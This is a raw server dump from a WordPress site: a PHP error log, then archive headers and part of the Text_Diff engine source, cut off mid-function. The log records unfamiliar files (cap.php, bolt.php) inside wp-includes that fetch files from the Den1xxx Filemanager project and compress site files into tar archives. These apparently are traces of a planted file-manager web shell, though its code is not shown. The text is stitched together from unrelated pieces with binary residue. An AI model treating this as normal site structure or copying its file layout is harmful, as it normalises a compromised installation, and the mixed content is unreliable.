[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Renderer/Engine.zip                                                                                 0000644                 00000077134 15217306007 0010260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
